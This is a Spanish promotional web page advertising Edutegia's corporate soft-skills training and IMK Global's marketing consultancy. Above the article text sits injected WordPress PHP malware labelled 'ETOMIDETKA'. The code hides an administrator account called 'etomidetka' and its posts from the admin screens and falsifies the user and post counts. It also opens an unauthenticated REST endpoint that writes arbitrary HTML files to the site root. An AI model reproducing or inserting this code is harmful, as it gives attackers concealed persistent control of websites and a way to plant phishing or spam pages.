//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } ¿Quieres ser parte de las 1000 empresas que transformarán su cultura organizacional? - Amazonas Digital
Educación Productividad

¿Quieres ser parte de las 1000 empresas que transformarán su cultura organizacional?

En Edutegia®, estamos en la búsqueda de 1000 empresas que quieran impulsar el desarrollo de sus equipos hacia una cultura organizacional más sólida y conectada desde las habilidades blandas.

Para el año 2025, nuestro objetivo es trabajar con organizaciones que entienden la importancia de invertir en el bienestar y en el desarrollo de habilidades blandas como clave para un crecimiento sostenible.

¿Te imaginas a tu equipo desarrollando mejores habilidades comunicativas, emocionales y sociales? Colaboradores que, además de ser altamente competentes, se sienten emocionalmente comprometidos con sus compañeros y con la empresa, lo que genera un ambiente laboral más saludable y eficiente.

En Edutegia®, creemos que las empresas que priorizan el crecimiento personal y emocional de su talento humano son las que destacan. Nuestro enfoque está en:

  • Desarrollar una mejor gestión emocional en tus colaboradores, capacitándolos para gestionar mejor el estrés y resolver conflictos de manera efectiva.
  • Fomentar la colaboración y el trabajo en equipo, mejorando las habilidades comunicativas que facilitan las relaciones interpersonales y la cooperación.
  • Aumentar el bienestar y la felicidad laboral, creando un entorno donde los equipos se sientan valorados y motivados.

No solo formarás a tus empleados, sino que construirás una cultura donde el bienestar integral y el aprendizaje continuo son la base del éxito.

¿Por qué elegir Edutegia®?

  • Metodologías innovadoras y dinámicas: Diseñamos procesos educativos que son entretenidos y generan un impacto directo en la vida cotidiana de tu empresa.
  • Formación centrada en la persona: Nos enfocamos en el bienestar emocional de cada colaborador, garantizando un desarrollo integral.
  • Resultados tangibles: En equipo contigo implementamos herramientas prácticas que se reflejan en una mayor productividad y cohesión dentro de los equipos.

Al unirte a Edutegia®, estarás impulsando un cambio real en tu organización. Tus colaboradores estarán más motivados, comprometidos y felices, lo que mejorará tanto el ambiente de trabajo como los resultados de la empresa.

¡Forma parte de las 1000 empresas que estarán preparadas para los retos del futuro y disfruta de un entorno laboral más productivo y armonioso en este  2025!

Si deseas tener mas informacion, click aqui https://wa.me/573014457704

____________

Tomado de: https://www.edutegia.com/quieres-ser-parte-de-las-1000-empresas-que-transformaran-su-cultura-organizacional/

IMK Global – Ingenieros de Marketing ha acompañado mas de 150 empresas en Fabricas de Productividad con Gestión Comercial, Transformación Digital y Sofisticación, Leer el siguiente Artículo ➡️➡️➡️

En Colombia, el programa Fábricas de Productividad liderado por la entidad Colombia Productiva del Ministerio de Comercio, Industria y Turismo, en colaboración con cámaras de comercio y consultores especializados, ha estado desempeñando un papel crucial en la transformación digital y el crecimiento de las empresas en todo el país. Este programa ha brindado asistencia técnica y acompañamiento para superar los obstáculos que impiden el desarrollo empresarial y promover la reactivación económica. Uno de los aliados destacados en este esfuerzo es Ingenieros de Marketing, una plataforma de conocimiento que acompaña a personas, empresas y comunidades en su camino hacia la madurez digital. Julián Castiblanco, fundador de Ingenieros de Marketing y consultor de Fábricas de Productividad, ha tenido un papel fundamental en este proceso.

Así ayudamos a las empresas

Publicado por Contenidos Digitales de Ingenieros de Marketing IMK Global

Lo invitamos a conocer las credenciales de IMK Global-Ingenieros de Marketing

 

V4 Credenciales Experiencia IMKglobal Spanish de Ingenieros de Marketing

IMK Global – Ingenieros de Marketing

Su Aliado de Crecimiento en las Américas

Your Growth Partner in the Américas

www.imk.global

Aportes:

Julián Castiblanco -CEO Ingenieros de Marketing – IMKGlobal

Camilo Fernando Castiblanco – Chief Growth Officer IMK.Global

Esperanza Herrera – Social Media Manager Ingenieros de Marketing – IMKGlobal

Conoce la RED DE PORTALES que mejoran la visibilidad de tu marca
https://imk.global/portal-ads/

About the author

Ingenierosdemarketing